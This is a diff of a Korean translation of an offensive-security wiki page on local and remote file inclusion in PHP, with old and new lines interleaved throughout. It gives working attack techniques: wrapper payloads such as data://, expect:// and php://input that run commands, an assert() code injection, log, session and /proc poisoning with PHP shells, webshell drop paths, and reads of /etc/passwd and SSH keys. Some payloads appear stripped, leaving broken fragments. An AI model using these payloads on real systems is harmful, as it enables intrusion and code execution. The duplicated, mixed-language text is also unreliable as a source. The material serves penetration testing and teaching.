컴포넌트는 무시되며 결합은 절대 경로 컴포넌트부터 계속됩니다. -## Java 디렉토리 나열 +## Java 디렉토리 목록 -보아하니 Java에서 Path Traversal이 있고 파일 대신 디렉토리를 **요청하면**, 디렉토리의 **목록이 반환됩니다**. 다른 언어에서는 이런 일이 발생하지 않는 것 같습니다 (afaik). +Java에서 Path Traversal이 있고 파일 대신 **디렉토리를 요청하면**, **디렉토리 목록이 반환되는 것처럼 보입니다**. 이는 다른 언어에서는 발생하지 않는 것 같습니다(내가 알기로는). ## 상위 25개 파라미터 @@ -211,38 +210,38 @@ It is the intended behaviour according to [the docs](https://docs.python.org/3.1 ?mod={payload} ?conf={payload} ``` -## LFI / RFI — PHP wrappers 및 프로토콜 사용 +## LFI / RFI PHP 래퍼 및 프로토콜 사용 ### php://filter -PHP filters는 데이터가 읽히거나 쓰이기 전에 기본적인 **데이터 수정 작업**을 수행할 수 있게 합니다. 필터는 5가지 범주로 나뉩니다: +PHP filters는 읽거나 쓰기 전에 데이터에 대한 기본적인 **수정 작업**을 수행할 수 있게 해줍니다. 필터는 5가지 범주로 나뉩니다: - [String Filters](https://www.php.net/manual/en/filters.string.php): - `string.rot13` - `string.toupper` - `string.tolower` -- `string.strip_tags`: 데이터에서 태그를 제거합니다 (everything between "<" and ">" chars) +- `string.strip_tags`: 데이터에서 태그를 제거( "<" 와 ">" 문자 사이의 모든 것) - Note that this filter has disappear from the modern versions of PHP - [Conversion Filters](https://www.php.net/manual/en/filters.convert.php) - `convert.base64-encode` - `convert.base64-decode` - `convert.quoted-printable-encode` - `convert.quoted-printable-decode` -- `convert.iconv.*` : 다른 인코딩으로 변환합니다(`convert.iconv..`). 지원되는 **모든 인코딩 목록**을 얻으려면 콘솔에서 `iconv -l`을 실행하세요. +- `convert.iconv.*` : 다른 인코딩으로 변환(`convert.iconv..`)합니다. 지원되는 **모든 인코딩의 목록**을 얻으려면 콘솔에서 `iconv -l`을 실행하세요. > [!WARNING] -> `convert.iconv.*` 변환 필터를 악용하면 **임의의 텍스트를 생성할 수 있습니다**, 이는 임의 텍스트를 쓰거나 include 같은 함수가 임의 텍스트를 처리하게 만드는 데 유용할 수 있습니다. 자세한 내용은 [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md)를 확인하세요. +> `convert.iconv.*` 변환 필터를 남용하면 **임의의 텍스트를 생성**할 수 있으며, 이는 임의 텍스트를 쓰거나 include 같은 함수가 임의 텍스트를 처리하게 만드는 데 유용할 수 있습니다. 자세한 내용은 [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md)를 참고하세요. - [Compression Filters](https://www.php.net/manual/en/filters.compression.php) -- `zlib.deflate`: 내용을 압축합니다 (useful if exfiltrating a lot of info) -- `zlib.inflate`: 데이터를 압축 해제합니다 +- `zlib.deflate`: 콘텐츠를 압축(많은 정보를 exfiltrating할 때 유용) +- `zlib.inflate`: 데이터를 압축 해제 - [Encryption Filters](https://www.php.net/manual/en/filters.encryption.php) -- `mcrypt.*` : 사용 중단됨 -- `mdecrypt.*` : 사용 중단됨 -- Other Filters +- `mcrypt.*` : 사용 중단 +- `mdecrypt.*` : 사용 중단 +- 기타 필터 - php에서 `var_dump(stream_get_filters());`를 실행하면 몇 가지 **예상치 못한 필터**를 찾을 수 있습니다: - `consumed` -- `dechunk`: reverses HTTP chunked encoding +- `dechunk`: HTTP chunked encoding을 되돌림 - `convert.*` ```php # String Filters @@ -273,37 +272,37 @@ readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the > [!WARNING] > The part "php://filter" is case insensitive -### Using php filters as oracle to read arbitrary files +### php filters를 oracle로 사용하여 임의의 파일 읽기 -[**In this post**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) 에서는 서버로부터 출력이 직접 반환되지 않아도 로컬 파일을 읽을 수 있는 기법을 제안합니다. 이 기법은 **boolean exfiltration of the file (char by char) using php filters** 를 오라클로 사용하는 방식에 기반합니다. 이는 php filters를 이용해 텍스트를 충분히 크게 만들어 php가 예외를 발생시키게 할 수 있기 때문입니다. +[**In this post**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) is proposed a technique to read a local file without having the output given back from the server. This technique is based on a **boolean exfiltration of the file (char by char) using php filters** as oracle. This is because php filters can be used to make a text larger enough to make php throw an exception. -원문 포스트에서 기법의 자세한 설명을 볼 수 있으며, 여기에는 간단한 요약을 적습니다: +원문 포스트에는 기법에 대한 자세한 설명이 있지만, 여기서는 간단 요약을 제공합니다: -- codec **`UCS-4LE`** 를 사용하면 텍스트의 선행 문자가 앞부분에 남고 문자열 크기가 지수적으로 증가합니다. -- 이것을 이용해 **초기 문자가 올바르게 추측되었을 때 텍스트가 매우 커져서** php가 **오류**를 발생시키도록 만듭니다. -- **dechunk** 필터는 **첫 문자가 16진수가 아니면 모든 것을 제거**하므로 첫 문자가 16진수인지 알 수 있습니다. -- 이 점과 앞의 방법(및 추측한 문자에 따라 사용하는 다른 필터들)을 조합하면, 충분한 변환을 수행했을 때 처음 문자가 16진수가 아니게 되는 시점을 통해 처음 문자를 추측할 수 있습니다. 만약 16진수라면 dechunk가 삭제하지 않고 초기 폭탄(bomb)이 php 오류를 유발합니다. -- codec **convert.iconv.UNICODE.CP930** 은 각 문자를 다음 문자로 변환합니다(따라서 이 codec을 적용하면: a -> b). 이를 이용하면 예를 들어 처음 문자가 `a`인지 확인할 수 있습니다. 이 codec을 6번 적용하면 a->b->c->d->e->f->g 가 되어 문자가 더 이상 16진수 문자가 아니게 되고, 따라서 dechunk가 삭제하지 않아 초기 폭탄으로 인해 php 오류가 발생합니다. -- 초기에 **rot13** 같은 변환을 사용하면 n, o, p, q, r 같은 문자들도 leak할 수 있으며(다른 codec들을 사용해 다른 문자들을 16진수 범위로 이동시킬 수도 있습니다) . -- 초기 문자가 숫자일 때는 base64로 인코딩하고 처음 두 글자를 leak하여 숫자를 식별해야 합니다. -- 최종 문제는 **초기 문자보다 더 많은 문자들을 어떻게 leak할 것인가**입니다. 순서 변경 memory 필터들인 **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** 등을 사용하면 문자들의 순서를 바꿔 텍스트의 다른 문자를 첫 번째 위치로 가져올 수 있습니다. -- 추가 데이터를 얻기 위해서는 아이디어가 **convert.iconv.UTF16.UTF16** 으로 시작에 2바이트의 정크 데이터를 생성하고, **UCS-4LE** 를 적용해 다음 2바이트와 pivot 시키며, 정크 데이터가 나올 때까지 데이터를 삭제하는 것입니다(이렇게 하면 초기 텍스트의 처음 2바이트가 제거됩니다). 원하는 비트를 leak할 때까지 이 과정을 반복합니다. +- Use the codec **`UCS-4LE`** to leave leading character of the text at the begging and make the size of string increases exponentially. +- This will be used to generate a **text so big when the initial letter is guessed correctly** that php will trigger an **error** +- The **dechunk** filter will **remove everything if the first char is not an hexadecimal**, so we can know if the first char is hex. +- 이것은 이전 필터와 결합되어(추측된 문자에 따라 다른 필터들과 함께) 여러 변환을 적용했을 때 해당 문자가 hexadecimal 문자가 아닐 때를 관찰함으로써 텍스트의 첫 문자를 추측할 수 있게 합니다. 만약 hexadecimal이라면 dechunk가 삭제하지 않으며 초기 폭탄이 php error를 발생시킵니다. +- The codec **convert.iconv.UNICODE.CP930** transforms every letter in the following one (so after this codec: a -> b). This allow us to discovered if the first letter is an `a` for example because if we apply 6 of this codec a->b->c->d->e->f->g the letter isn't anymore a hexadecimal character, therefore dechunk doesn't deleted it and the php error is triggered because it multiplies with the initial bomb. +- 초기에 **rot13** 같은 다른 변환을 사용하면 n, o, p, q, r 같은 다른 문자를 leak할 수 있습니다(또한 다른 codecs를 사용해 다른 문자들을 hex 범위로 옮길 수 있습니다). +- When the initial char is a number it’s needed to base64 encode it and leak the 2 first letters to leak the number. +- 최종 문제는 **how to leak more than the initial letter**입니다. **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** 같은 order memory filters를 사용하면 문자 순서를 바꿔 텍스트의 다른 문자들을 첫 위치로 올릴 수 있습니다. +- 그리고 추가 데이터를 얻기 위해서는 아이디어는 **convert.iconv.UTF16.UTF16**로 처음에 **2 bytes of junk data at the beginning**을 생성하고, **UCS-4LE**를 적용해 다음 2바이트와 **pivot**하게 한 뒤, d**elete the data until the junk data** (이렇게 하면 초기 텍스트의 첫 2바이트가 제거됩니다). 원하는 비트를 leak할 때까지 이 과정을 반복합니다. -포스트에는 이 작업을 자동화한 도구도 공개되어 있습니다: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit). +In the post a tool to perform this automatically was also leaked: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit). ### php://fd -이 wrapper는 프로세스가 열어둔 file descriptors에 접근할 수 있게 해줍니다. 열린 파일의 내용을 exfiltrate하는 데 잠재적으로 유용합니다: +This wrapper allows to access file descriptors that the process has open. Potentially useful to exfiltrate the content of opened files: ```php echo file_get_contents("php://fd/3"); $myfile = fopen("/etc/passwd", "r"); ``` -또한 **php://stdin, php://stdout and php://stderr**를 사용해 각각 **file descriptors 0, 1 and 2**에 접근할 수 있습니다 (공격에서 어떻게 유용할지는 확실하지 않습니다) +또한 **php://stdin, php://stdout and php://stderr**를 사용하여 각각 **file descriptors 0, 1 and 2**에 접근할 수 있습니다 (공격에서 어떻게 유용할지는 잘 모르겠습니다) -### zip:// 및 rar:// +### zip:// and rar:// -PHPShell이 포함된 Zip 또는 Rar 파일을 업로드하고 접근합니다.\ -rar protocol을 악용하려면 **명시적으로 활성화되어야 합니다**. +PHPShell이 포함된 Zip or Rar file을 업로드하고 접근하세요.\ +rar protocol을 남용하려면 **특별히 활성화되어야 합니다**. ```bash echo "
" > payload.php; zip payload.zip payload.php; @@ -328,24 +327,24 @@ http://example.net/?page=data:text/plain, http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4= NOTE: the payload is "" ``` -이 프로토콜은 php 설정 **`allow_url_open`** 및 **`allow_url_include`**에 의해 제한된다는 점에 유의하세요 +이 프로토콜은 php 설정 **`allow_url_open`** 및 **`allow_url_include`**에 의해 제한됩니다. ### expect:// -Expect는 활성화되어 있어야 합니다. 다음을 사용하여 코드를 실행할 수 있습니다: +Expect가 활성화되어 있어야 합니다. 이를 통해 code를 실행할 수 있습니다: ``` http://example.com/index.php?page=expect://id http://example.com/index.php?page=expect://ls ``` ### input:// -POST 파라미터에 payload를 지정하세요: +POST 파라미터에 페이로드를 지정하세요: ```bash curl -XPOST "http://example.com/index.php?page=php://input" --data "" ``` ### phar:// -`.phar` 파일은 웹 애플리케이션이 파일 로딩을 위해 `include` 같은 함수를 사용할 때 PHP 코드를 실행하는 데 사용할 수 있습니다. 아래의 PHP 코드 스니펫은 `.phar` 파일 생성 예시를 보여줍니다: +웹 애플리케이션이 파일 로딩에 `include`와 같은 함수를 사용할 때 `.phar` 파일을 이용해 PHP 코드를 실행할 수 있습니다. 아래의 PHP 코드 스니펫은 `.phar` 파일을 생성하는 예를 보여줍니다: ```php stopBuffering(); ```bash php --define phar.readonly=0 create_path.php ``` -실행하면 `test.phar` 파일이 생성되며, 이는 Local File Inclusion (LFI) 취약점을 악용하는 데 사용될 수 있습니다. +실행하면 `test.phar`라는 파일이 생성되며, 이는 Local File Inclusion (LFI) 취약점을 악용하는 데 사용될 수 있습니다. -LFI가 내부의 PHP 코드를 실행하지 않고 `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, `filesize()` 같은 함수로 파일을 단순히 읽기만 하는 경우, `phar` 프로토콜을 통한 파일 읽기와 관련된 역직렬화 취약성을 악용할 수 있습니다. +LFI가 내부의 PHP 코드를 실행하지 않고 `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, 또는 `filesize()` 같은 함수로 파일을 단순히 읽는 경우, `phar` 프로토콜로 파일을 읽을 때 발생하는 deserialization 취약점을 이용해 공격을 시도할 수 있습니다. -자세한 내용은 아래 문서를 참조하세요: +자세한 내용을 이해하려면 아래 문서를 참조하세요: [Phar Deserialization Exploitation Guide](phar-deserialization.md) @@ -373,35 +372,36 @@ phar-deserialization.md ### CVE-2024-2961 -PHP에서 php filters를 지원하는 임의의 파일 읽기(**any arbitrary file read from PHP that supports php filters**)를 악용해 RCE를 얻을 수 있었습니다. 자세한 설명은 [**found in this post**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\ -매우 간단한 요약: PHP heap의 **3 byte overflow**를 악용해 특정 크기의 free chunks 체인을 **alter the chain of free chunks**하도록 변경하여 임의 주소에 **write anything in any address**할 수 있게 만들었고, 그래서 **`system`**을 호출하는 hook을 추가했습니다.\ 더 많은 php filters를 악용해 특정 크기의 chunks를 alloc하는 것도 가능했습니다. +**php filters를 지원하는 PHP에서 읽는 임의의 파일**을 악용하여 RCE를 얻을 수 있었습니다. 자세한 설명은 [**found in this post**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\ +매우 간단 요약: PHP 힙의 **3 byte overflow**를 악용해 특정 크기의 free chunk 체인을 **변조하여** 임의의 주소에 **무엇이든 쓸 수 있게** 했고, 그 결과 **`system`**을 호출하는 훅을 추가했습니다.\ +추가적인 php filters를 악용해 특정 크기의 chunk를 할당하는 것이 가능했습니다. -### More protocols +### 더 많은 프로토콜 -더 많은 가능한 [**protocols to include here**](https://www.php.net/manual/en/wrappers.php)**을 확인하세요:** +더 많은 가능한 [**protocols to include here**](https://www.php.net/manual/en/wrappers.php)**을 확인하세요:** -- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — 메모리나 임시 파일에 쓰기 (not sure how this can be useful in a file inclusion attack) -- [file://](https://www.php.net/manual/en/wrappers.file.php) — 로컬 파일 시스템 접근 +- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — 메모리나 임시 파일에 쓰기 (file inclusion 공격에서 어떻게 유용할지 확실하지 않음) +- [file://](https://www.php.net/manual/en/wrappers.file.php) — 로컬 파일시스템 접근 - [http://](https://www.php.net/manual/en/wrappers.http.php) — HTTP(s) URL 접근 - [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — FTP(s) URL 접근 - [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — 압축 스트림 -- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — 패턴에 맞는 경로명 찾기 (출력 가능한 내용을 반환하지 않으므로 여기서는 그다지 유용하지 않음) +- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — 패턴에 맞는 경로명 검색 (출력 가능한 내용을 반환하지 않으므로 여기서는 별로 유용하지 않음) - [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — Secure Shell 2 -- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — 오디오 스트림 (arbitrary files 읽기에는 유용하지 않음) +- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — 오디오 스트림 (임의의 파일을 읽는 데 유용하지 않음) -## LFI via PHP의 'assert' +## PHP의 'assert'를 통한 LFI -PHP에서 'assert' 함수는 문자열 내의 코드를 실행할 수 있기 때문에 Local File Inclusion (LFI)의 위험이 특히 큽니다. 특히 ".." 같은 directory traversal 문자를 포함한 입력을 검사하지만 적절히 정제(sanitize)하지 않는 경우 더 문제가 됩니다. +문자열 내 코드를 실행할 수 있는 'assert' 함수와 관련된 경우 PHP에서 Local File Inclusion (LFI)의 위험이 특히 높습니다. 특히 입력값에 ".."와 같은 디렉터리 트래버설 문자가 포함되어 있는지 확인만 하고 적절히 정제되지 않으면 문제가 됩니다. -예를 들어, PHP 코드가 다음과 같이 directory traversal을 방지하도록 작성되어 있을 수 있습니다: +예를 들어, PHP 코드는 다음과 같이 디렉터리 트래버설을 방지하도록 설계될 수 있습니다: ```bash assert("strpos('$file', '..') === false") or die(""); ``` -이는 traversal을 차단하려는 의도이지만, 의도치 않게 code injection을 위한 벡터를 생성합니다. 파일 내용을 읽기 위해 이를 악용하려면, 공격자는 다음을 사용할 수 있습니다: +이는 traversal를 막기 위한 시도이지만, 의도치 않게 code injection 벡터를 만들어냅니다. 파일 내용을 읽기 위해 이를 악용하려면 공격자는 다음을 사용할 수 있습니다: ```plaintext ' and die(highlight_file('/etc/passwd')) or ' ``` -유사하게, 임의의 시스템 명령을 실행하기 위해 다음을 사용할 수 있습니다: +마찬가지로, 임의의 시스템 명령을 실행하려면 다음을 사용할 수 있습니다: ```plaintext ' and die(system("id")) or ' ``` @@ -410,13 +410,13 @@ It's important to **URL-encode these payloads**. ## PHP Blind Path Traversal > [!WARNING] -> 이 기법은 당신이 **file path**를 제어하는 **PHP function**이 파일에 접근하지만 파일의 내용을 볼 수 없는 경우(예: 단순한 **`file()`** 호출처럼)에 해당합니다. +> 이 기법은 당신이 **control** 하는 **file path** 를 가진 **PHP function** 이 **파일에 접근(access a file)** 하지만 파일의 내용을 보지 못하는 경우(예: 단순한 **`file()`** 호출처럼)와 관련이 있습니다. In [**this incredible post**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) it's explained how a blind path traversal can be abused via PHP filter to **exfiltrate the content of a file via an error oracle**. -요약하자면, 이 기법은 **"UCS-4LE" encoding**을 사용해 파일의 내용을 매우 **big**하게 만들어 해당 파일을 여는 **PHP function**이 **error**를 발생시키도록 합니다. +요약하자면, 이 기법은 **"UCS-4LE" encoding** 을 사용해 파일의 내용을 매우 **big** 하게 만들어 해당 파일을 여는 **PHP function opening** 이 **error** 를 발생시키도록 하는 방식입니다. -그 다음, 첫 번째 char를 leak하기 위해 필터 **`dechunk`**가 **base64**나 **rot13** 같은 필터들과 함께 사용되며, 마지막으로 **convert.iconv.UCS-4.UCS-4LE**와 **convert.iconv.UTF16.UTF-16BE** 필터를 사용해 다른 chars를 맨 앞에 배치하고 그것들을 leak합니다. +그 다음, 첫 문자를 leak 하기 위해 filter **`dechunk`** 를 다른 것들(예: **base64**, **rot13**)과 함께 사용하고 마지막으로 필터 **convert.iconv.UCS-4.UCS-4LE** 및 **convert.iconv.UTF16.UTF-16BE** 를 사용하여 **place other chars at the beggining and leak them**. **Functions that might be vulnerable**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (only target read only with this)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs` @@ -426,20 +426,20 @@ For the technical details check the mentioned post! ### Arbitrary File Write via Path Traversal (Webshell RCE) -파일을 수집/업로드하는 서버측 코드가 user-controlled data(예: filename 또는 URL)를 사용해 대상 경로를 생성하면서 canonicalising 및 검증을 하지 않으면, `..` 세그먼트와 절대 경로가 의도한 디렉터리를 벗어나 임의의 파일 쓰기를 초래할 수 있습니다. 만약 payload를 web-exposed directory 아래에 둘 수 있다면, 보통 webshell을 업로드하여 인증 없이 RCE를 얻습니다. +서버 측 코드가 사용자 제어 데이터(예: filename 또는 URL)를 사용하여 대상 경로를 조합할 때, canonicalising 및 유효성 검사를 하지 않으면 `..` 세그먼트와 절대 경로가 의도한 디렉터리를 벗어나 임의의 파일 쓰기가 발생할 수 있습니다. 페이로드를 web-exposed 디렉터리에 놓을 수 있다면, 보통 webshell 을 drop 해서 인증 없이 RCE 를 얻을 수 있습니다. Typical exploitation workflow: -- path/filename을 받아 디스크에 내용을 쓰는 endpoint나 background worker에서 쓰기 primitive를 식별합니다 (예: message-driven ingestion, XML/JSON command handlers, ZIP extractors, 등). -- Determine web-exposed directories. Common examples: +- 경로/파일명을 받아 디스크에 내용을 쓰는 엔드포인트 또는 background worker(예: 메시지 기반 ingestion, XML/JSON command handlers, ZIP extractors 등)에서 write primitive 를 식별합니다. +- web-exposed directories 를 파악합니다. 일반적인 예: - Apache/PHP: `/var/www/html/` - Tomcat/Jetty: `/webapps/ROOT/` → drop `shell.jsp` - IIS: `C:\inetpub\wwwroot\` → drop `shell.aspx` -- 의도한 저장 디렉터리에서 webroot로 탈출하는 traversal 경로를 만들고, webshell 내용을 포함시킵니다. -- 업로드한 payload에 접속하여 명령을 실행합니다. +- 의도한 저장 디렉터리에서 webroot 로 빠져나오도록 traversal path 를 만들고, 웹셸 내용을 포함시킵니다. +- 배치된 페이로드에 브라우저로 접속하여 명령을 실행합니다. Notes: -- 쓰기 작업을 수행하는 취약한 서비스는 비-HTTP 포트에서 수신(listen)할 수 있습니다(예: TCP 4004의 JMF XML listener). 메인 웹 포탈(다른 포트)이 나중에 당신의 payload를 서빙할 수 있습니다. -- Java 스택에서는 이러한 파일 쓰기가 종종 단순한 `File`/`Paths` 연결로 구현됩니다. canonicalisation/allow-listing의 부재가 핵심 결함입니다. +- 쓰기를 수행하는 취약한 서비스는 비-HTTP 포트에서 리스닝할 수 있습니다(예: TCP 4004 의 JMF XML listener). 메인 웹 포털(다른 포트)이 나중에 당신의 페이로드를 제공할 수 있습니다. +- Java 스택에서는 이러한 파일 쓰기가 단순한 `File`/`Paths` 문자열 결합으로 구현되는 경우가 많습니다. canonicalisation/allow-listing의 부재가 핵심 결함입니다. Generic XML/JMF-style example (product schemas vary – the DOCTYPE/body wrapper is irrelevant for the traversal): ```xml @@ -465,25 +465,25 @@ in.transferTo(out); ``` -이 종류의 버그를 무력화하는 하드닝: -- 경로를 정규화(canonical path)하고 허용 목록에 등록된 기본 디렉터리(allow-listed base directory)의 하위인지 강제합니다. -- `..`, 절대 루트, 또는 드라이브 문자가 포함된 경로는 거부하고, 생성된 파일명(generated filenames)을 선호합니다. -- writer를 권한이 낮은 계정(low-privileged account)으로 실행하고, 쓰기 디렉터리를 서비스 루트(served roots)와 분리합니다. +Hardening that defeats this class of bugs: +- 경로를 정규화(canonical path)하고 허용 목록에 등록된 기본 디렉터리의 하위 경로인지 강제 검사합니다. +- `..`가 포함되거나 절대 루트 또는 드라이브 문자가 있는 경로는 거부하고, 가능한 경우 생성된 파일 이름을 사용하세요. +- writer를 권한이 낮은 계정으로 실행하고, 쓰기 디렉터리를 서비스되는 루트와 분리하세요. ## Remote File Inclusion -자세한 내용은, [**follow this link**](#remote-file-inclusion). +Explained previously, [**follow this link**](#remote-file-inclusion). -### Apache/Nginx 로그 파일을 통해 +### Via Apache/Nginx log file -Apache 또는 Nginx 서버가 include 함수 내부에서 **LFI에 취약**하다면 **`/var/log/apache2/access.log` 또는 `/var/log/nginx/access.log`**에 접근을 시도하고, **user agent**나 **GET parameter** 안에 **``** 같은 php shell을 넣은 뒤 해당 파일을 include 해볼 수 있습니다. +Apache나 Nginx 서버가 include 함수 내부에서 **LFI에 취약**하다면, **`/var/log/apache2/access.log` or `/var/log/nginx/access.log`**에 접근을 시도해 **user agent** 또는 **GET parameter**에 **``** 같은 PHP shell을 기록한 뒤 그 파일을 include할 수 있습니다. > [!WARNING] -> 쉘에 대해 **double quotes**를 사용하고 **simple quotes**를 사용하지 않으면, double quotes가 문자열 "_**quote;**_"로 변경되어 **PHP가 오류를 발생**시키며 **다른 것은 실행되지 않습니다**. +> 쉘에 대해 **double quotes**를 사용하고 **simple quotes** 대신 사용할 경우, 큰따옴표는 문자열 "_**quote;**_"로 변환되어 **PHP가 오류를 발생시키고**, **다른 어떤 것도 실행되지 않습니다**. > -> 또한, 페이로드(payload)를 정확히 작성해야 합니다. 그렇지 않으면 로그 파일을 불러올 때마다 PHP가 오류를 발생시키며 두 번째 기회는 없을 것입니다. +> 또한, **payload를 정확히 작성**해야 합니다. 그렇지 않으면 로그 파일을 불러올 때마다 PHP가 오류를 일으키고 두 번째 기회가 주어지지 않습니다. -이 방법은 다른 로그에서도 가능하지만 **주의하세요,** 로그 안의 코드는 URL encoded될 수 있어 Shell이 깨질 수 있습니다. 헤더 **authorisation "basic"**는 Base64로 인코딩된 "user:password"를 포함하며 로그 내부에서 디코딩됩니다. PHPShell은 이 헤더 안에 삽입될 수 있습니다.\ +다른 로그에서도 동일한 방법을 시도할 수 있지만 **주의하세요,** 로그 내부의 코드가 URL encoded되어 Shell이 파괴될 수 있습니다. 헤더 **authorisation "basic"**에는 Base64로 인코딩된 "user:password"가 포함되며 로그 내에서 디코딩됩니다. PHPShell은 이 헤더 안에 삽입할 수 있습니다.\ Other possible log paths: ```python /var/log/apache2/access.log @@ -498,44 +498,44 @@ Other possible log paths: ``` Fuzzing wordlist: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI](https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI) -### 이메일로 +### 이메일을 통해 -**메일을 보내세요** 내부 계정(user@localhost)으로, `` 같은 PHP payload를 포함한 뒤, 사용자 메일을 include 하려고 다음 경로들 중 하나를 시도해보세요: **`/var/mail/`** 또는 **`/var/spool/mail/`** +**메일을 보내기**: 내부 계정 (user@localhost)으로 `` 같은 PHP payload를 포함한 메일을 보내고, 사용자 메일을 **`/var/mail/`** 또는 **`/var/spool/mail/`** 경로로 include 해보세요. -### Via /proc/\*/fd/\* +### /proc/\*/fd/\*을 통해 -1. 많은 shells(예: 100)를 업로드하세요. -2. Include [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), 여기서 $PID는 프로세스의 PID입니다 (can be brute forced)이고 $FD는 파일 디스크립터입니다 (can be brute forced too). +1. 많은 shells를 업로드하세요 (예: 100) +2. Include [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), 여기서 $PID는 프로세스의 PID(무차별 대입 가능)이고 $FD는 파일 디스크립터(역시 무차별 대입 가능)입니다. -### Via /proc/self/environ +### /proc/self/environ을 통해 -로그 파일처럼, payload를 User-Agent에 넣어 전송하면 /proc/self/environ 파일에 반영됩니다. +로그 파일과 마찬가지로, User-Agent에 payload를 넣어 전송하면 /proc/self/environ 파일에 반영됩니다. ``` GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1 User-Agent: ``` -### 업로드를 통해 +### upload를 통해 -파일을 업로드할 수 있다면, 단순히 shell payload를 파일에 주입하세요 (예: ``). +파일을 upload할 수 있다면, 그냥 그 안에 shell payload를 inject하세요 (예: ``). ``` http://example.com/index.php?page=path/to/uploaded/file.png ``` 파일을 읽기 쉽게 유지하려면 이미지/문서/PDF의 메타데이터에 주입하는 것이 가장 좋습니다 -### ZIP 파일 업로드 +### Zip 파일 업로드를 통해 -PHP shell이 포함된 ZIP 파일을 업로드한 뒤 접근: +PHP shell을 포함한 압축된 ZIP 파일을 업로드하고 접근: ```python example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php ``` -### PHP sessions를 통해 +### PHP sessions을 통해 -웹사이트가 PHP Session (PHPSESSID)을 사용하고 있는지 확인하세요. +웹사이트가 PHP Session (PHPSESSID)을 사용하는지 확인하세요. ``` Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/ Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly ``` -PHP에서는 이러한 세션이 _/var/lib/php5/sess\\_\[PHPSESSID]\_ 파일에 저장됩니다 +PHP에서는 이 세션들이 _/var/lib/php5/sess\\_\[PHPSESSID]\_ 파일에 저장됩니다. ``` /var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27. user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin"; @@ -544,87 +544,87 @@ user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"adm ``` login=1&user=&pass=password&lang=en_us.php ``` -LFI를 사용하여 PHP session 파일을 포함하세요 +LFI를 사용하여 PHP 세션 파일 포함하기 ``` login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2 ``` -### ssh를 통해 +### ssh를 통한 -ssh가 활성화되어 있다면 어떤 사용자가 사용 중인지 (/proc/self/status & /etc/passwd)를 확인하고 **\/.ssh/id_rsa**에 접근을 시도하세요 +ssh가 활성화되어 있다면 /proc/self/status & /etc/passwd 를 확인해 어떤 사용자가 사용되는지 파악하고 **\/.ssh/id_rsa**에 접근을 시도해 보세요. -### **를 통한** **vsftpd** _**로그**_ +### **vsftpd** _**logs**_를 통한 FTP 서버 vsftpd의 로그는 _**/var/log/vsftpd.log**_에 위치합니다. Local File Inclusion (LFI) 취약점이 존재하고 노출된 vsftpd 서버에 접근할 수 있는 경우, 다음 절차를 고려할 수 있습니다: -1. 로그인 과정에서 username 필드에 PHP payload를 주입합니다. -2. 주입 후, LFI를 이용해 _**/var/log/vsftpd.log**_에서 서버 로그를 가져옵니다. +1. 로그인 과정에서 username 필드에 PHP 페이로드를 주입합니다. +2. 주입 후, LFI를 이용해 서버 로그 _**/var/log/vsftpd.log**_를 조회합니다. -### php base64 filter (base64 사용 시) +### php base64 filter (using base64)를 통한 -위 [this](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) article에서 보듯, PHP base64 filter는 Non-base64를 무시합니다. 이를 이용해 파일 확장자 검사(file extension check)를 우회할 수 있습니다: 만약 base64가 ".php"로 끝나도록 제공하면, filter는 "."를 무시하고 "php"를 base64에 덧붙입니다. 예시 payload는 다음과 같습니다: +[this](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) 문서에서 설명한 것처럼, PHP base64 filter는 Non-base64를 무시합니다. 이를 이용해 파일 확장자 검사(file extension check)를 우회할 수 있습니다: 만약 ".php"로 끝나는 base64를 제공하면 필터는 